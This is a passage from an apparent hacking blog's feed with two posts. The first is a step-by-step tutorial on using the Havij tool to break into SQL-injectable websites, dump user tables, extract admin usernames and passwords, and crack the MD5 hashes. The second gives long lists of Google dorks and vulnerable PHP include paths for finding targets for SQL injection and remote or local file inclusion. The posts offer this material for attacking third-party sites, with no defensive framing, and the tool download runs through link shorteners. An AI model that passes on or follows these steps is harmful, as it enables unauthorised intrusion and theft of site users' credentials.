&lt;/span&gt;&lt;/span&gt;&lt;a href=&quot;http://adf.ly/55846/http://lnk.co/GP51J&quot; style=&quot;text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #3d85c6;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;Download Havij v1.14&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #3d85c6;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt; &lt;br /&gt;
&lt;br /&gt;
1.First Find a sqli infected site&lt;br /&gt;
&lt;br /&gt;
2-Open havij and copy and paste infected link as shown in figure&lt;br /&gt;
&lt;br /&gt;
3. Then It shows some messages there....Be alert on it and be show patience for sometime to find it&#39;s vulernable and type of injection and if db server is mysql and it will find database name.Then after get it&#39;s database is name like xxxx_xxxx&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLUyvzy2XYfOlfSddAKcPT5ElV6rx07tJsmyNAIOjPxbNI3jhlJ42gqZprqOenBRlt8NJULmzSo_a8OfjxML52E7fPXHyyCRnKC_4TOnY36pjWXhsB7OD19v0z4Uq8NYAGKYqjsCMYoTA/s1600/1.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLUyvzy2XYfOlfSddAKcPT5ElV6rx07tJsmyNAIOjPxbNI3jhlJ42gqZprqOenBRlt8NJULmzSo_a8OfjxML52E7fPXHyyCRnKC_4TOnY36pjWXhsB7OD19v0z4Uq8NYAGKYqjsCMYoTA/s1600/1.jpeg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
4.Then Move to another operation to find tables by clicking &quot;tables&quot; as figure shown.Now click &quot;Get tables&quot; Then wait some time if needed&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAXnsG5tdfn1B_FqHtJVFK7eRgX_1b1MuSyuXfwXSvL6sH487qr_PPU70TFOPCZC_yGARMr13QLbbnifQgrJhgNbfVRgMwQEDr3MhnZS8-pN5Tx5VR7B3aKEu56Vd0tzJFmWCBCC22Fvo/s1600/2.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgAXnsG5tdfn1B_FqHtJVFK7eRgX_1b1MuSyuXfwXSvL6sH487qr_PPU70TFOPCZC_yGARMr13QLbbnifQgrJhgNbfVRgMwQEDr3MhnZS8-pN5Tx5VR7B3aKEu56Vd0tzJFmWCBCC22Fvo/s1600/2.jpeg&quot; style=&quot;cursor: move;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
5. After founded the tables ,you can see there will be &quot;users&quot; Put mark on it and click in the &quot; get columns &quot; tab as shown in figure&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicmWyQZGigujcCvtiNFvm4387YktKS1JBJtAys95VpjEdwqnGCJO6TuEtL_yB63pjWKeJbCWucoWcp9u2z-AOE9FB8p-qmSoXRCbbUj4N_JdMk6wvhFZKadbkRIchzJqUJWgssUsbhtYw/s1600/3.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEicmWyQZGigujcCvtiNFvm4387YktKS1JBJtAys95VpjEdwqnGCJO6TuEtL_yB63pjWKeJbCWucoWcp9u2z-AOE9FB8p-qmSoXRCbbUj4N_JdMk6wvhFZKadbkRIchzJqUJWgssUsbhtYw/s1600/3.jpeg&quot; style=&quot;cursor: move;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
6. In that Just put mark username and password and click &quot;Get data&quot;&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVoCW9Wg9DOPbnJjfuLG2wTXYeufIBKETudrRv8-bUytlBh1kyKCWTFSa7F7e_Dv_os0SAaEwPU_mNWzICeaLIcUuw6LYdY-vVrHzhcLHDhVhOrV4v241OBZHypsI8GmCLvi2QnGVMKXc/s1600/4.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVoCW9Wg9DOPbnJjfuLG2wTXYeufIBKETudrRv8-bUytlBh1kyKCWTFSa7F7e_Dv_os0SAaEwPU_mNWzICeaLIcUuw6LYdY-vVrHzhcLHDhVhOrV4v241OBZHypsI8GmCLvi2QnGVMKXc/s1600/4.jpeg&quot; style=&quot;cursor: move;&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
8. Bingo Got now id and pass that may be admin...&lt;br /&gt;
The pass will get as md5 you can crack it also using this tool as shown in figure..&lt;br /&gt;
&lt;br /&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ1PfD8IsIbc2dwWI_Fz2K3pJT-Uh2yQnHiFjX6DNp2rPhmqbSbhacBMdk6CekMMDXK7QLNQ_J9PqoVlvZ9tgeSWbquwrCzUcm5snDbngYnEqgqN8GWUcduc0w0rOYju1VHwk9t-qXgeA/s1600/5.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZ1PfD8IsIbc2dwWI_Fz2K3pJT-Uh2yQnHiFjX6DNp2rPhmqbSbhacBMdk6CekMMDXK7QLNQ_J9PqoVlvZ9tgeSWbquwrCzUcm5snDbngYnEqgqN8GWUcduc0w0rOYju1VHwk9t-qXgeA/s1600/5.jpeg&quot; /&gt;&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;*************************************************************************&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;HOW TO FInD SQL VU SITES&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;GO HERE&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;blockquote style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;&quot;&gt;&lt;cite style=&quot;border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; display: block; font-style: normal; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;Quote:&lt;/span&gt;&lt;/span&gt;&lt;/cite&gt;&lt;a href=&quot;http://adf.ly/55846/http://lnk.co/GP51L&quot; style=&quot;text-decoration: none;&quot; target=&quot;_blank&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;http://lnk.co/GP51L&lt;/span&gt;&lt;/span&gt;&lt;/a&gt;&lt;/blockquote&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;br /&gt;
THE GREEN COLLOUR MEAN there is SQL Injection Vulnerability&lt;br /&gt;
&lt;br /&gt;
like this in the pic&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi01otT8l59BsTcQEG-J3lqiDwv9IiVpuzfRN4bx4ZGtntGjG5YAQ9_kyF8d4HeaiMJmM72YNONCOoQBjZp-F9poHlFCbCxhJHN2jmFWms4Rzq19qJqS4T1upLf9Ddg57UQamhgM7DYq_E/s1600/6.jpeg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi01otT8l59BsTcQEG-J3lqiDwv9IiVpuzfRN4bx4ZGtntGjG5YAQ9_kyF8d4HeaiMJmM72YNONCOoQBjZp-F9poHlFCbCxhJHN2jmFWms4Rzq19qJqS4T1upLf9Ddg57UQamhgM7DYq_E/s1600/6.jpeg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;&lt;br /&gt;
&lt;br /&gt;
SQL Dorks&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;codeblock&quot; style=&quot;background-attachment: initial; background-clip: initial; background-color: #86898b; background-image: initial; background-origin: initial; background-position: initial initial; background-repeat: initial initial; border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; border-left-color: rgb(204, 204, 204); border-left-style: solid; border-left-width: 1px; border-right-color: rgb(204, 204, 204); border-right-style: solid; border-right-width: 1px; border-top-color: rgb(204, 204, 204); border-top-style: solid; border-top-width: 1px; padding-bottom: 4px; padding-left: 4px; padding-right: 4px; padding-top: 4px;&quot;&gt;&lt;div class=&quot;title&quot; style=&quot;border-bottom-color: rgb(204, 204, 204); border-bottom-style: solid; border-bottom-width: 1px; font-weight: bold; margin-bottom: 4px; margin-left: 0px; margin-right: 0px; margin-top: 4px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;Code:&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;body&quot; dir=&quot;ltr&quot;&gt;&lt;code style=&quot;display: block; font-family: Monaco, Consolas, Courier, monospace; font-size: 13px; height: auto; max-height: 200px; overflow-x: auto; overflow-y: auto;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: white;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: black;&quot;&gt;Aqui les dejo unas cuantas Dorks para buscar webs vulnerables:&lt;br /&gt;
&lt;br /&gt;
inurl:index.php?id=&lt;br /&gt;
inurl:trainers.php?id=&lt;br /&gt;
inurl:buy.php?category=&lt;br /&gt;
inurl:article.php?ID=&lt;br /&gt;
inurl:lay_old.php?id=&lt;br /&gt;
inurl:declaration_more.php?decl_id=&lt;br /&gt;
inurl:ageid=&lt;br /&gt;
inurl:games.php?id=&lt;br /&gt;
inurl:age.php?file=&lt;br /&gt;
inurl:newsDetail.php?id=&lt;br /&gt;
inurl:gallery.php?id=&lt;br /&gt;
inurl:article.php?id=&lt;br /&gt;
inurl:show.php?id=&lt;br /&gt;
inurl:staff_id=&lt;br /&gt;
inurl:newsitem.php?num=&lt;br /&gt;
inurl:readnews.php?id=&lt;br /&gt;
inurl:top10.php?cat=&lt;br /&gt;
inurl:historialeer.php?num=&lt;br /&gt;
inurl:rtray-Questions-View.php?num=&lt;br /&gt;
inurl:forum_bds.php?num=&lt;br /&gt;
inurl:game.php?id=&lt;br /&gt;
inurl:view_product.php?id=&lt;br /&gt;
inurl:newsone.php?id=&lt;br /&gt;
inurl:sw_comment.php?id=&lt;br /&gt;
inurl:news.php?id=&lt;br /&gt;
inurl:avd_start.php?avd=&lt;br /&gt;
inurl:event.php?id=&lt;br /&gt;
inurlroduct-item.php?id=&lt;br /&gt;
inurl:sql.php?id=&lt;br /&gt;
inurl:news_view.php?id=&lt;br /&gt;
inurl:select_biblio.php?id=&lt;br /&gt;
inurl:humor.php?id=&lt;br /&gt;
inurl:aboutbook.php?id=&lt;br /&gt;
inurl:fiche_spectacle.php?id=&lt;br /&gt;
inurl:communique_detail.php?id=&lt;br /&gt;
inurl:sem.php3?id=&lt;br /&gt;
inurl:kategorie.php4?id=&lt;br /&gt;
inurl:news.php?id=&lt;br /&gt;
inurl:index.php?id=&lt;br /&gt;
inurl:faq2.php?id=&lt;br /&gt;
inurl:show_an.php?id=&lt;br /&gt;
inurl:review.php?id=&lt;br /&gt;
inurl:loadpsb.php?id=&lt;br /&gt;
inurlinions.php?id=&lt;br /&gt;
inurl:spr.php?id=&lt;br /&gt;
inurl:ages.php?id=&lt;br /&gt;
inurl:announce.php?id=&lt;br /&gt;
inurl:clanek.php4?id=&lt;br /&gt;
inurl:articipant.php?id=&lt;br /&gt;
inurl:download.php?id=&lt;br /&gt;
inurl:main.php?id=&lt;br /&gt;
inurl:review.php?id=&lt;br /&gt;
inurl:chappies.php?id=&lt;br /&gt;
inurl:read.php?id=&lt;br /&gt;
inurl:rod_detail.php?id=&lt;br /&gt;
inurl:viewphoto.php?id=&lt;br /&gt;
inurl:article.php?id=&lt;br /&gt;
inurl:erson.php?id=&lt;br /&gt;
inurlroductinfo.php?id=&lt;br /&gt;
inurl:showimg.php?id=&lt;br /&gt;
inurl:view.php?id=&lt;br /&gt;
inurl:website.php?id=&lt;br /&gt;
inurl:hosting_info.php?id=&lt;br /&gt;
inurl:gallery.php?id=&lt;br /&gt;
inurl:rub.php?idr=&lt;br /&gt;
inurl:view_faq.php?id=&lt;br /&gt;
inurl:artikelinfo.php?id=&lt;br /&gt;
inurl:detail.php?ID=&lt;br /&gt;
inurl:index.php?=&lt;br /&gt;
inurl:rofile_view.php?id=&lt;br /&gt;
inurl:category.php?id=&lt;br /&gt;
inurl:ublications.php?id=&lt;br /&gt;
inurl:fellows.php?id=&lt;br /&gt;
inurl:downloads_info.php?id=&lt;br /&gt;
inurl:rod_info.php?id=&lt;br /&gt;
inurl:shop.php?do=part&amp;amp;id=&lt;br /&gt;
inurl:roductinfo.php?id=&lt;br /&gt;
inurl:collectionitem.php?id=&lt;br /&gt;
inurl:band_info.php?id=&lt;br /&gt;
inurlroduct.php?id=&lt;br /&gt;
inurl:releases.php?id=&lt;br /&gt;
inurl:ray.php?id=&lt;br /&gt;
inurl:roduit.php?id=&lt;br /&gt;
inurlp.php?id=&lt;br /&gt;
inurl:shopping.php?id=&lt;br /&gt;
inurl:roductdetail.php?id=&lt;br /&gt;
inurlst.php?id=&lt;br /&gt;
inurl:viewshowdetail.php?id=&lt;br /&gt;
inurl:clubpage.php?id=&lt;br /&gt;
inurl:memberInfo.php?id=&lt;br /&gt;
inurl:section.php?id=&lt;br /&gt;
inurl:theme.php?id=&lt;br /&gt;
inurl:age.php?id=&lt;br /&gt;
inurl:shredder-categories.php?id=&lt;br /&gt;
inurl:tradeCategory.php?id=&lt;br /&gt;
inurl:roduct_ranges_view.php?ID=&lt;br /&gt;
inurl:shop_category.php?id=&lt;br /&gt;
inurl:transcript.php?id=&lt;br /&gt;
inurl:channel_id=&lt;br /&gt;
inurl:item_id=&lt;br /&gt;
inurl:newsid=&lt;br /&gt;
inurl:trainers.php?id=&lt;br /&gt;
inurl:news-full.php?id=&lt;br /&gt;
inurl:news_display.php?getid=&lt;br /&gt;
inurl:index2.php?option=&lt;br /&gt;
inurl:readnews.php?id=&lt;br /&gt;
inurl:top10.php?cat=&lt;br /&gt;
inurl:newsone.php?id=&lt;br /&gt;
inurl:event.php?id=&lt;br /&gt;
inurlroduct-item.php?id=&lt;br /&gt;
inurl:sql.php?id=&lt;br /&gt;
inurl:aboutbook.php?id=&lt;br /&gt;
inurl:review.php?id=&lt;br /&gt;
inurl:loadpsb.php?id=&lt;br /&gt;
inurl:ages.php?id=&lt;br /&gt;
inurl:material.php?id=&lt;br /&gt;
inurl:clanek.php4?id=&lt;br /&gt;
inurl:announce.php?id=&lt;br /&gt;
inurl:chappies.php?id=&lt;br /&gt;
inurl:read.php?id=&lt;br /&gt;
inurl:viewapp.php?id=&lt;br /&gt;
inurl:viewphoto.php?id=&lt;br /&gt;
inurl:rub.php?idr=&lt;br /&gt;
inurl:galeri_info.php?l=&lt;br /&gt;
inurl:review.php?id=&lt;br /&gt;
inurl:iniziativa.php?in=&lt;br /&gt;
inurl:curriculum.php?id=&lt;br /&gt;
inurl:labels.php?id=&lt;br /&gt;
inurl:story.php?id=&lt;br /&gt;
inurl:look.php?ID=&lt;br /&gt;
inurl:newsone.php?id=&lt;br /&gt;
inurl:aboutbook.php?id=&lt;br /&gt;
inurl:material.php?id=&lt;br /&gt;
inurlinions.php?id=&lt;br /&gt;
inurl:announce.php?id=&lt;br /&gt;
inurl:rub.php?idr=&lt;br /&gt;
inurl:galeri_info.php?l=&lt;br /&gt;
inurl:tekst.php?idt=&lt;br /&gt;
inurl:newscat.php?id=&lt;br /&gt;
inurl:newsticker_info.php?idn=&lt;br /&gt;
inurl:rubrika.php?idr=&lt;br /&gt;
inurl:rubp.php?idr=&lt;br /&gt;
inurl:ffer.php?idf=&lt;br /&gt;
inurl:art.php?idm=&lt;br /&gt;
inurl:title.php?id=&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;
&lt;div&gt;&lt;br /&gt;
&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/3390920509870081927/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/03/sql-injection-in-easy-steps.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/3390920509870081927'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/3390920509870081927'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/03/sql-injection-in-easy-steps.html' title='SQL Injection in Easy steps......!!!!!!'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLUyvzy2XYfOlfSddAKcPT5ElV6rx07tJsmyNAIOjPxbNI3jhlJ42gqZprqOenBRlt8NJULmzSo_a8OfjxML52E7fPXHyyCRnKC_4TOnY36pjWXhsB7OD19v0z4Uq8NYAGKYqjsCMYoTA/s72-c/1.jpeg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-6112219237224679293.post-5749138267430096366</id><published>2011-02-25T09:37:00.000-08:00</published><updated>2011-02-25T09:41:17.519-08:00</updated><title type='text'>Advance Dorks For LFI &amp; RFI</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;&lt;div style=&quot;color: red;&quot;&gt;&lt;b&gt;Remote File Inclusion/Local File Inclusion:&lt;/b&gt;&lt;/div&gt;&lt;div style=&quot;margin: 5px 20px 20px;&quot;&gt;  &lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 258px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;inurl:/_functions.php?prefix=

inurl:/cpcommerce/_functions.php?prefix=

inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/ashnews.php?pathtoashnews=

inurl:/eblog/blog.inc.php?xoopsConfig[xoops_url]=

inurl:/pm/lib.inc.php?pm_path=

inurl:/b2-tools/gm-2-b2.php?b2inc=

inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=

inurl:/modules/agendax/addevent.inc.php?agendax_path=

inurl:/includes/include_once.php?include_file=

inurl:/e107/e107_handlers/secure_img_render.php?p=

inurl:/shoutbox/expanded.php?conf=

inurl:/main.php?x=

inurl:/myPHPCalendar/admin.php?cal_dir=

inurl:/index.php/main.php?x=

inurl:/index.php?include=

inurl:/index.php?x=

inurl:/index.php?open=

inurl:/index.php?visualizar=

inurl:/template.php?pagina=

inurl:/index.php?pagina=

inurl:/index.php?inc=

inurl:/includes/include_onde.php?include_file=

inurl:/index.php?page=

inurl:/index.php?pg=

inurl:/index.php?show=

inurl:/index.php?cat=

inurl:/index.php?file=

inurl:/db.php?path_local=

inurl:/index.php?site=

inurl:/htmltonuke.php?filnavn=

inurl:/livehelp/inc/pipe.php?HCL_path=

inurl:/hcl/inc/pipe.php?HCL_path=

inurl:/inc/pipe.php?HCL_path=

inurl:/support/faq/inc/pipe.php?HCL_path=

inurl:/help/faq/inc/pipe.php?HCL_path=

inurl:/helpcenter/inc/pipe.php?HCL_path=

inurl:/live-support/inc/pipe.php?HCL_path=

inurl:/gnu3/index.php?doc=

inurl:/gnu/index.php?doc=

inurl:/phpgwapi/setup/tables_update.inc.php?appdir=

inurl:/forum/install.php?phpbb_root_dir=

inurl:/includes/calendar.php?phpc_root_path=

inurl:/includes/setup.php?phpc_root_path=

inurl:/inc/authform.inc.php?path_pre=

inurl:/include/authform.inc.php?path_pre=

inurl:index.php?nic=

inurl:index.php?sec=

inurl:index.php?content=

inurl:index.php?link=

inurl:index.php?filename=

inurl:index.php?dir=

inurl:index.php?document=

inurl:index.php?view=

inurl:*.php?sel=

inurl:*.php?session=&amp;amp;content=

inurl:*.php?locate=

inurl:*.php?place=

inurl:*.php?layout=

inurl:*.php?go=

inurl:*.php?catch=

inurl:*.php?mode=

inurl:*.php?name=

inurl:*.php?loc=

inurl:*.php?f=

inurl:*.php?inf=

inurl:*.php?pg=

inurl:*.php?load=

inurl:*.php?naam=

allinurl:/index.php?page= site:*.ru

allinurl:/index.php?file= site:*.ru&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;
&lt;b&gt;&lt;span style=&quot;color: red;&quot;&gt;All INURL&lt;/span&gt;&lt;/b&gt; :&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 258px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=

/includes/header.php?systempath=

/Gallery/displayCategory.php?basepath=

/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

/ashheadlines.php?pathtoashnews=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/demo/includes/init.php?user_inc=

/jaf/index.php?show=

/inc/shows.inc.php?cutepath=

/poll/admin/common.inc.php?base_path=

/pollvote/pollvote.php?pollname=

/sources/post.php?fil_config=

/modules/My_eGallery/public/displayCategory.php?basepath=

/bb_lib/checkdb.inc.php?libpach=

/include/livre_include.php?no_connect=lol&amp;amp;chem_absolu=

/index.php?from_market=Y&amp;amp;pageurl=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/pivot/modules/module_db.php?pivot_path=

/modules/4nAlbum/public/displayCategory.php?basepath=

/derniers_commentaires.php?rep=

/modules/coppermine/themes/default/theme.php?THEME_DIR=

/modules/coppermine/include/init.inc.php?CPG_M_DIR=

/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=

/coppermine/themes/maze/theme.php?THEME_DIR=

/allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=

/allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=

/myPHPCalendar/admin.php?cal_dir=

/agendax/addevent.inc.php?agendax_path=

/modules/mod_mainmenu.php?mosConfig_absolute_path=

/modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=

/main.php?page=

/default.php?page=

/index.php?action=

/index1.php?p=

/index2.php?x=

/index2.php?content=

/index.php?conteudo=

/index.php?cat=

/include/new-visitor.inc.php?lvc_include_dir=

/modules/agendax/addevent.inc.php?agendax_path=

/shoutbox/expanded.php?conf=

/modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=

/pivot/modules/module_db.php?pivot_path=

/library/editor/editor.php?root=

/library/lib.php?root=

/e107/e107_handlers/secure_img_render.php?p=

/zentrack/index.php?configFile=

/main.php?x=

/becommunity/community/index.php?pageurl=

/GradeMap/index.php?page=

/index4.php?body=

/side/index.php?side=

/main.php?page=

/es/index.php?action=

/index.php?sec=

/index.php?main=

/index.php?sec=

/index.php?menu=

/html/page.php?page=

/page.php?view=

/index.php?menu=

/main.php?view=

/index.php?page=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/content.php?page=

/main.php?page=

/index.php?x=

/main_site.php?page=

/index.php?L2=

/index.php?show=

/tutorials/print.php?page=

/index.php?page=

/index.php?level=

/index.php?file=

/index.php?inter_url=

/index.php?page=

/index2.php?menu=

/index.php?level=

/index1.php?main=

/index1.php?nav=

/index1.php?link=

/index2.php?page=

/index.php?myContent=

/index.php?TWC=

/index.php?sec=

/index1.php?main=

/index2.php?page=

/index.php?babInstallPath=

/main.php?body=

/index.php?z=

/main.php?view=

/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=

/index.php?file=

/modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=&lt;/pre&gt;&lt;br /&gt;
&lt;span style=&quot;color: red; font-size: large;&quot;&gt;&lt;b&gt;LFI :&lt;/b&gt;&lt;/span&gt; &lt;br /&gt;
&lt;pre class=&quot;alt2&quot; dir=&quot;ltr&quot; style=&quot;border: 1px inset; height: 258px; margin: 0px; overflow: auto; padding: 6px; text-align: left; width: 640px;&quot;&gt;acion=
act=
action=
API_HOME_DIR=
board=
cat=
client_id=
cmd=
cont=
current_frame=
date=
detail=
dir=
display=
download=
f=
file=
fileinclude=
filename=
firm_id=
g=
getdata=
go=
HT=
idd=
inc=
incfile=
incl=
include_file=
include_path=
infile=
info=
ir=
lang=
language=
link=
load=
main=
mainspot=
msg=
num=
openfile=
p=
page=
pagina=
path=
path_to_calendar=
pg=
plik
qry_str=
ruta=
safehtml=
section=
showfile=
side=
site_id=
skin=
static=
str=
strona=
sub=
tresc=
url=
user=&lt;/pre&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://hackeramit4u.blogspot.com/feeds/5749138267430096366/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/advance-dorks-for-lfi-rfi.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/5749138267430096366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/6112219237224679293/posts/default/5749138267430096366'/><link rel='alternate' type='text/html' href='http://hackeramit4u.blogspot.com/2011/02/advance-dorks-for-lfi-rfi.html' title='Advance Dorks For LFI &amp; RFI'/><author><name>Amit Hacker For You</name><uri>http://www.blogger.com/profile/01309230198947967799</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' 